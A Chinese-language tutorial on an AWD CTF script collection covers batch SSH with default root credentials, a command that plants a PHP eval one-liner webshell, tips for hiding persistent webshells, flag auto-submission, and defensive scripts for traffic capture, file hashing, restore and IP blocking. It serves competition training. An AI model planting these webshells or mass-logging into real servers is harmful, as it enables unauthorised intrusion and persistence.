news 2026/9/28 2:06:02

AWD攻防赛脚本集合实战:从7z解压到Flag自动提交全指南

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张小明

前端开发工程师

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AWD攻防赛脚本集合实战:从7z解压到Flag自动提交全指南

简介:面向攻防对抗赛制选手与CTF安全竞赛爱好者,这份脚本集合把攻防两端常用工具集中在一起,解决赛场上快速写入网页后门、批量获取Flag以及对抗不死马、清理日志等高频需求。资源共33个文件,以Python脚本和PHP代码为主,辅以命令备忘文本、编译后pyc以及日志分析rar工具包,整体仅3.14MB,便于赛前快速拉取和临场部署。文件按攻击与防御两大目录组织,攻击侧包含批量上传、命令生成、Flag获取等实用脚本,防御侧提供WAF、Linux文件监控、日志地址修改等防护手段,另有隐藏不死马与克制不死马等针对性样本可供研究。目前已有408人学习下载,适合需要系统梳理AWD攻防技巧、希望直接获得可运行工具集的中高级安全选手参考,也可作为赛前训练和插件库使用的轻量级武器库。

1. AWD攻防赛脚本集合:为什么说赛前不备脚本等于白送

AWD攻防赛脚本集合,是CTF圈子里流传度最高、也最容易出现“下了就跑不起来”尴尬情况的工具包。AWD(Attack With Defense)赛制下,每支队伍分到若干台完全相同的靶机,一边要防住别人的攻击,一边要抢在对手前面拿Flag提交给裁判系统。一轮攻击窗口往往只有几十秒,手动SSH连上去敲命令根本来不及。脚本集合就是为了解决这个痛点:批量连接靶机、批量执行命令、自动抓取并提交Flag、文件完整性监控、流量抓包分析。但资料拿到手,不少人卡在第一步:7z解压失败、依赖缺失、并发一高本地机器先死,甚至因为提交机制没读懂被判违规。这篇我按自己的落地习惯,把脚本集合从解压到上赛场验证的完整路径拆开讲,希望能帮你少走弯路。

2. 把脚本集合跑起来:7z解压、环境依赖与首个命令

2.1 用7z解压脚本集合:Windows和Linux两个姿势

AWD攻防赛脚本集合用7z压缩,而不是zip,是因为7z压缩率高,脚本和工具打包后体积更小,传靶场和本地都更快。先说Linux环境,Debian系的发行版通常不会自带7z命令,需要先装p7zip:

# Debian/Ubuntu 安装 p7zip apt-get update apt-get install -y p7zip-full # 解压脚本集合到指定目录,注意 -o 后面没有空格 7z x AWD攻防赛脚本集合.7z -o./awd_scripts

逻辑说明:x表示解压并保留压缩包内的目录结构,和只把文件铺平的e参数不一样。如果你用7z e,解压出来的所有文件会堆在当前目录,脚本之间的引用关系会全部失效。-o指定输出目录,常见翻车点就在这儿——很多人写成-o ./awd_scripts,多了一个空格,命令会直接报错。

Windows下没有自带7z工具,但脚本集合的传输链路上,有一环是本地Windows,有一环是Linux靶机。建议在Windows上装7-Zip,右键解压到本地先看一遍脚本,再把整个目录用scp或WinSCP传到自己的Linux跳板机上执行。别试图在Windows上直接跑大部分攻击类脚本,它们的网络路径和工具链是针对Linux设计的,跑一半报错反而浪费时间。

2.2 依赖检查:pip3、paramiko和requests不能缺

解压只是第一步,脚本集合里绝大多数工具是Python3写的,依赖库装不上才是新手翻车重灾区。我的习惯是先把必备依赖装好,再跑任何一个脚本:

# Python3 环境下的依赖安装 pip3 install paramiko requests # 如果 pip3 不在 PATH 里,用 python3 的 -m 参数 python3 -m pip install paramiko requests

逻辑说明:paramiko是Python的SSH协议库,AWD脚本集合里所有批量连靶机的脚本都依赖它,没有这个库,脚本会在import paramiko这行直接抛ModuleNotFoundError。requests负责发HTTP请求,主要在Flag提交、读Web目录文件时用。Windows PowerShell下如果报错“pip : 无法将‘pip’项识别为 cmdlet、函数、脚本文件或可运行程序的名称”,别去改PATH了,用python -m pip是更稳的绕行方案,本质是绕过可执行文件搜索路径,直接调用Python解释器的pip模块。

还有一类脚本是shell脚本,用#!/bin/bash写的,不需要装依赖,但需要给执行权限:chmod +x /opt/awd_scripts/*.sh。我一般会把整个脚本集合放在/opt/awd_scripts目录下,路径固定,后续配置文件和日志输出都按绝对路径引用,避免在比赛时临时改路径踩坑。

2.3 先按用途给脚本归类:别一上来就全跑

脚本集合大概率不会只有一个脚本,而是一个包含攻击、防御、提交、工具库的目录。拿到手第一件事不是跑,是看目录结构。常见分类是这样:

  • attack/:批量SSH连接、批量GetShell、批量传马、不死马生成。
  • defense/:tcpdump抓包、文件md5比对、日志分析、一键恢复。
  • submit/:Flag提交轮询器、Token管理、提交日志。
  • utils/:公共函数库、配置文件、IP列表、密码字典。

先读README或注释,确认每个脚本的输入输出。最蠢的上场方式是把所有脚本一口气跑起来,攻击脚本和防御脚本互相打架,日志刷屏,你根本不知道哪台靶机被拿下、哪个Flag还没交。我的做法是:先跑一轮防御侧的文件监控和流量抓包,让手上有靶机的实时状态;再跑攻击侧脚本,拿Flag;最后只开一个提交轮询器,避免多进程重复提交。

3. 进攻侧脚本拆解:批量SSH、批量执行与Flag自动提交

3.1 批量SSH连接池:并发数不是越大越好

脚本集合里最核心的通常是批量SSH连接工具,它能同时连上百台靶机。很多新手看到“批量”就以为并发拉满最快,实际上分到同一组的所有队伍都是同一批靶机IP段,你并发太高,本地机器先罢工不说,裁判系统的网络也会对你限流。下面是一个基于paramiko的极简连接池实例,和脚本集合里的实现类似:

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import paramiko import time import threading # 目标机器列表,实际使用时可从 hosts.txt 读取 hosts = [ {"host": "10.10.0.2", "port": 22, "user": "root", "pwd": "password"}, {"host": "10.10.0.3", "port": "22", "user": "root", "pwd": "password"}, ] def ssh_exec(host): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect( host["host"], port=int(host["port"]), username=host["user"], password=host["pwd"], timeout=8 ) stdin, stdout, stderr = ssh.exec_command("cat /flag", timeout=10) result = stdout.read().decode("utf-8", errors="ignore").strip() ssh.close() print(f"{host['host']}: {result}") except Exception as e: print(f"{host['host']}: 连接失败 -> {e}") # 控制并发数,比赛环境建议不超过 20 threads = [] for h in hosts: t = threading.Thread(target=ssh_exec, args=(h,)) t.start() threads.append(t) time.sleep(0.1) # 每启动一个线程间隔 100ms,避免瞬时大量连接 for t in threads: t.join()

逻辑说明:AutoAddPolicy()自动接受目标主机的SSH指纹,省去首次连接交互确认的麻烦。exec_command("cat /flag", timeout=10)执行命令并限定超时,避免靶机响应慢导致线程卡死。errrs="ignore"忽略非法UTF-8字节,因为有些靶机返回的中文或二进制内容会让strict模式直接抛异常。

参数说明:timeout=8是TCP连接超时,连不上的机器8秒后自动跳过,不要设成30秒,竞速场景下等不起。time.sleep(0.1)是最容易被忽略的保命参数,它把连接请求均匀打散,防止你的机器在同一瞬间发出几十个SYN包被打爆。并发控制在20以内是通用安全值,脚本集合里如果预留了线程数配置项,优先调它。

3.2 批量执行命令:单行命令拼接的坑

批量拿到权限后,要批量改密码、传后门、写不死马。核心逻辑还是上面的连接池,差别只在exec_command里的命令内容。但命令拼接是个容易出岔子的环节——你写的命令会经过paramiko传给靶机的shell,环境变量、引号、通配符都可能出问题。看这个例子:

# 在每台靶机上执行一段复合命令,用分号连接 cmd = "cd /var/www/html && echo '<?php @eval($_POST[\"x\"]);?>' > shell.php; chmod 755 shell.php; ls -la shell.php"

命令传到靶机后,cd /var/www/html &&确保后续在Web目录执行;echo '<?php @eval($_POST[\"x\"]);?>'写入一句话后门,注意外层单引号会保留双引号,让PHP代码里的字符串引用正确;chmod 755设置文件权限,保证Web服务能读到;最后的ls -la是验证,顺便确认文件落盘了。脚本里执行完要回显输出,能立刻看到成功与否。

踩过的教训:不要在命令里用$开头的变量却不想让它被本地shell展开,要么在Python里转义,要么整个命令用单引号包住。还有,绝对路径优先于相对路径,因为paramiko的默认Shell是bash,但可能通过.bashrc切到了别的目录,尤其当靶机初始目录不是root的家目录时。cd /var/www/html写死绝对路径,比cd html可靠得多。

3.3 Flag自动提交轮询器:间隔、去重与Token

拿Flag只是第一步,交不上去等于白拿。脚本集合里的submit_flag.py通常是一个常驻进程,循环读取靶机上的Flag文件内容,POST到裁判系统接口。样例逻辑如下:

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import time SEEN_FLAGS = set() SUBMIT_URL = "http://10.10.0.1:8080/submit" TOKEN = "your_team_token" # 裁判系统下发的队伍唯一标识 while True: try: # 从本队靶机读Flag,这里示例用HTTP请求 r = requests.get("http://127.0.0.1/flag.txt", timeout=3) flag = r.text.strip() if flag and flag not in SEEN_FLAGS: resp = requests.post( SUBMIT_URL, json={"flag": flag, "token": TOKEN}, timeout=5 ) if resp.status_code == 200: SEEN_FLAGS.add(flag) print(f"[{time.strftime('%H:%M:%S')}] 提交成功: {flag}") else: print(f"[{time.strftime('%H:%M:%S')}] 提交返回: {resp.status_code}") except Exception as e: # 靶机短暂不可达是常态,跳过继续 print(f"轮询异常: {e}") time.sleep(3) # 轮询间隔,单位秒

逻辑说明:SEEN_FLAGS用set做内存去重,同一个Flag只提交一次,避免把裁判系统接口刷爆。requests.post的json参数自动序列化,提交格式和接口文档对齐。time.sleep(3)控制轮询频率,实战里2到5秒是合理区间,低于1秒很容易触发裁判系统的频率限制,导致IP被临时封禁。

参数说明:TOKEN务必和比赛规则里给出的字段名一致,有的接口要求字段叫team_token,有的叫token,还有的要放在Header里。提交失败时不要立刻重试,先看返回体里的原因,常见是“重复Flag”或“无效Token”。脚本集合里如果带了日志文件输出,尽量保留,赛后复盘全靠它。

4. 防御侧脚本拆解:流量审计、文件监控与一键恢复

4.1 挂上tcpdump抓流量:看清别人怎么打进你

AWD里“挨打也是情报”,只要别人的攻击打到你靶机,流量就值得抓。脚本集合里的流量审计脚本往往就是个tcpdump包装,但参数很讲究。我习惯在比赛开始后第一时间挂上后台抓包:

# 后台抓包,抓满10000个包自动停止,避免磁盘写爆 nohup tcpdump -i eth0 -w /tmp/awd_capture.pcap -c 10000 >/dev/null 2>&1 & # 赛后或赛中用 pcap 分析 HTTP 攻击载荷 tcpdump -r /tmp/awd_capture.pcap -A -s 0 'tcp port 80'

逻辑说明:-i eth0指定网卡,AWD靶机通常主网卡就是eth0;-w写入pcap文件;-c 10000是抓包数量上限,防止长时间运行把磁盘写满。-A把报文内容以ASCII形式打印,-s 0表示抓取完整包而不只抓头部,这样能看到POST的完整payload。

分析时把tcp port 80替换成你实际观测到的端口,然后配合grep找攻击特征:

# 直接查看是否有上传webshell的流量 tcpdump -r /tmp/awd_capture.pcap -A -s 0 'tcp port 80' 2>/dev/null | grep -E "eval|base64|assert|shell_exec" | head -50

抓包脚本是防御的“眼睛”,但有一个坑——抓包文件会记录所有攻击者的IP,包括你队友的。如果你用这些IP做自动化封禁,先把本队IP段加进白名单,否则一个“误伤”把自己人挡在靶机外面。

4.2 文件完整性监控:find+md5sum定时比对

AWD靶机被挂马或被删文件,恢复的前提是知道哪里变了。脚本集合里的文件监控脚本,原理就是周期性计算Web目录下所有文件的哈希,和赛前基线对比。基线必须在比赛开始前、靶机还干净的时候生成:

#!/bin/bash # /opt/awd_scripts/defense/check_file.sh # 生成当前文件的 md5 基线 find /var/www/html -type f -exec md5sum {} \; > /tmp/current_files.txt # 如果没有基线文件,说明是第一次跑,存为基线 if [ ! -f /tmp/baseline_files.txt ]; then cp /tmp/current_files.txt /tmp/baseline_files.txt echo "[$(date '+%H:%M:%S')] 已生成基线文件" exit 0 fi # 与基线比对,输出差异到日志 diff /tmp/baseline_files.txt /tmp/current_files.txt > /tmp/file_diff.log if [ -s /tmp/file_diff.log ]; then echo "[$(date '+%H:%M:%S')] 检测到文件变化:" cat /tmp/file_diff.log fi

逻辑说明:find配合-exec md5sum能一次性算出所有文件的哈希;第二次运行时和基线diff,任何新增、删除、修改都会体现在diff结果里。为什么用md5sum而不是stat的mtime?因为攻击者可以通过touch -d伪造文件修改时间,但md5想伪造成本高得多。

要把监控脚本周期化执行,在crontab -e里加一行:

*/5 * * * * /bin/bash /opt/awd_scripts/defense/check_file.sh >> /var/log/awd_check.log 2>&1

每5分钟跑一次,日志追加到独立文件。比赛初期我建议每2分钟一次,对手脚本刚写入文件时最多2分钟就能发现,早发现早清理。

4.3 一键恢复脚本:备份、清马、拉黑IP

发现文件被改或被删,恢复要快。脚本集合里的restore.sh一般干三件事:从备份拷回文件、杀后门进程、封攻击IP。一份通用脚本如下:

#!/bin/bash # /opt/awd_scripts/defense/restore.sh BACKUP_DIR=/backup WEBROOT=/var/www/html ATTACK_IP=$1 # 1. 恢复被删除或被替换的关键文件 if [ -f "$BACKUP_DIR/index.php.bak" ]; then cp "$BACKUP_DIR/index.php.bak" "$WEBROOT/index.php" echo "[$(date '+%H:%M:%S')] index.php 已恢复" fi # 2. 清理常见后门进程(不死马) pkill -f "shell.php" pkill -f "eval.*assert" echo "[$(date '+%H:%M:%S')] 后门进程已清理" # 3. 对攻击IP做封禁(可选,慎用) if [ -n "$ATTACK_IP" ]; then iptables -A INPUT -s "$ATTACK_IP" -j DROP echo "[$(date '+%H:%M:%S')] 已封锁 $ATTACK_IP" fi

逻辑说明:cp恢复文件前先确认备份存在;pkill -f按进程名模糊匹配,优点是快,缺点是有可能误杀,比如你自己的合法管理脚本进程名里包含了shell。所以恢复脚本里的pkill -f要自己改造成对已知后门进程名的精确匹配,比如只杀php /tmp/.x.php这种特征进程。

iptables -A INPUT -s封禁IP有一个大坑:封的是源IP,但如果攻击者是跳板机或和你在同一内网段,可能封到裁判系统的模拟攻击流量,个别赛制会把这类操作判定为违规。建议封禁前用4.1的抓包结果确认这个IP确实在打你,而不是队友在测试。备份文件必须在赛前完成——如果你连index.php的干净备份都没有,恢复脚本就是一张废纸。

5. AWD脚本避坑指南:从解压失败到被判作弊的5个坑

5.1 7z解压报错:Cannot open as archive

现象:Linux下执行7z x AWD攻防赛脚本集合.7z,命令直接返回Cannot open as archive。

原因:大概率是下载的压缩包不完整,或者传输工具把文件名改成了.zip但内容还是7z,甚至文件头被截断。7z文件头的魔数是377abcaf271c,解压工具靠它识别格式,文件一旦损坏就卡住。

解决:先验证文件完整性:7z t AWD攻防赛脚本集合.7z,测试压缩包是否损坏。如果文件本身有问题,重新下载并对一下发布方给的SHA256,别在损坏的文件上浪费时间。还有一个老经验:脚本集合在QQ群、网盘里传了很多层,接收后看大小是否和原始压缩包一致,很多时候就是传到一半被秒传机制坑了。

5.2 并发数拉满,先把自己的跳板机打挂

现象:脚本一开始跑,本地CPU直转100%,内存飙升,跳板机的SSH都连不上,靶机侧也频繁报SSH握手超时。

原因:攻击脚本里的多线程数量超过50甚至上百,短时间建立大量TCP连接,本机进程数爆了,源IP也被裁判网络或者靶机的fail2ban限流。

解决:把thread_num降到10到15,每发起一个线程后time.sleep(0.1)限速。这是压力测试还是竞速的问题——AWD不是比谁瞬间SYN多,是比谁第一个把有效Flag交上去。连接稳定比连接快重要。

5.3 paramiko报错 No authentication methods available

现象:ssh.connect()抛异常,提示No authentication methods available。

原因:有四种常见情况。第一,目标靶机的SSH端口不是22,脚本里只写了默认端口;第二,目标机改过密码,脚本用的弱口令字典不匹配;第三,paramiko默认会尝试本机私钥认证,本机的~/.ssh/id_rsa密钥干扰了密码认证流程;第四,靶机关闭了密码认证只允许密钥登录。

解决:先确认端口:nmap -p 1-65535 10.10.0.2,找到SSH服务实际端口再填进脚本。连接参数里加上allow_agent=False, look_for_keys=False,让paramiko别去碰本机私钥和SSH Agent。如果是密码被改,用弱口令字典批量重试一次,AWD赛制下初始密码是统一的,对手改密码防你,你也要批量改回去。

5.4 不死马写进去,几分钟就被对手清掉

现象:shell.php刚写进/var/www/html目录,不到三分钟再访问就404,文件被删,后门失效。

原因:对方也在实时监控Web目录,检测到新增文件就自动删除,或者直接用了和你一样的文件监控脚本。

解决:改方案。不死马不止一种写法,脚本集合里常见的做法是:在内存里循环创建临时文件、文件名随机化、把<?php @eval(...)?>藏在图片或日志文件里。但别走极端——不死马写得太隐蔽,比赛结束后你忘记清理,如果靶场是共用的,事后算账很容易被判违规。我的习惯是:保留1到2个后门足够,更多的时间投入到实时提交Flag和防御上。

5.5 自动提交Flag被判“作弊”或“超时”

现象:submit_flag.py一直跑,提交返回duplicate,或者裁判系统提示提交频率过高,甚至后台判定队伍违规。

原因:AWD赛制里裁判系统通常有明确限制。有些接口禁止同一Flag重复提交;有些限制单IP每分钟提交次数不能超过X次;还有的Token字段名和接口文档不一致,传错了直接报invalid token。比赛规则文档里写着的东西,不看就踩。

解决:先读比赛规则,确认提交接口的URL、Token字段名、间隔限制。脚本里把轮询间隔调到5秒以上,提交前用set去重。最关键的一点:把每次提交的请求和响应写进日志文件,万一被裁判误判为作弊,日志是你自证清白的唯一凭据。

6. 上赛场前验证脚本的3个技巧:靶场、dry-run与时间戳复盘

6.1 用Docker在本地搭一套AWD靶场

脚本拿到手先别直接上真实赛场,在本地用Docker起一个带漏洞的Web容器,验证脚本逻辑通不通。常见做法是拉取一个有漏洞的镜像,映射22和80端口:

docker run -d --name awd-demo -p 10022:22 -p 10080:80 vulhub/thinkphp:5.0.23

然后把脚本里的hosts列表改成127.0.0.1:10022,跑一遍批量SSH和Flag读取。本地靶机没有裁判系统,可以写个本地GET接口模拟提交,验证整个链路。这一步能拦截至少一半尴尬问题——比如某个脚本用了绝对路径/tmp/flag,本地容器里根本没这个文件,你会立刻发现并改成可配置项。

6.2 给脚本加dry-run模式:不发包只打印命令

脚本集合里的脚本不一定有演练模式。没有就自己加,方法是在核心函数入口判断环境变量:

export DRY_RUN=1 # 开启后脚本只打印要执行的命令,不实际连接靶机

Python脚本里对应的处理逻辑是:判断DRY_RUN存在且为真时,用print()替代ssh.exec_command()。这个技巧能帮你只花一分钟检查命令拼接是否合理,尤其适合那些写错引号就会在靶机上执行出奇怪命令的复合命令。

6.3 记录时间戳和Flag哈希,赛后复盘

比赛结束不是终点,复盘才是经验积累的开始。我的习惯是:赛前给脚本统一加上--log参数,把每轮连接结果、提交的Flag内容、提交时间戳全部写进CSV文件。赛后用时间戳重放流程,看哪个时间段的Flag没有被及时提交,判断是脚本轮询慢了还是某个靶机掉了。提交的Flag用SHA256做哈希去重,能准确统计每台靶机贡献了多少分。所有日志和我自己的操作习惯绑定:每次比赛前先备份一份脚本集合到本地无关目录——这个习惯救过我,有一回我在赛场上把restore.sh改坏了,直接把这个脚本从备份里拷回来,五分钟完成恢复。希望帮到你。

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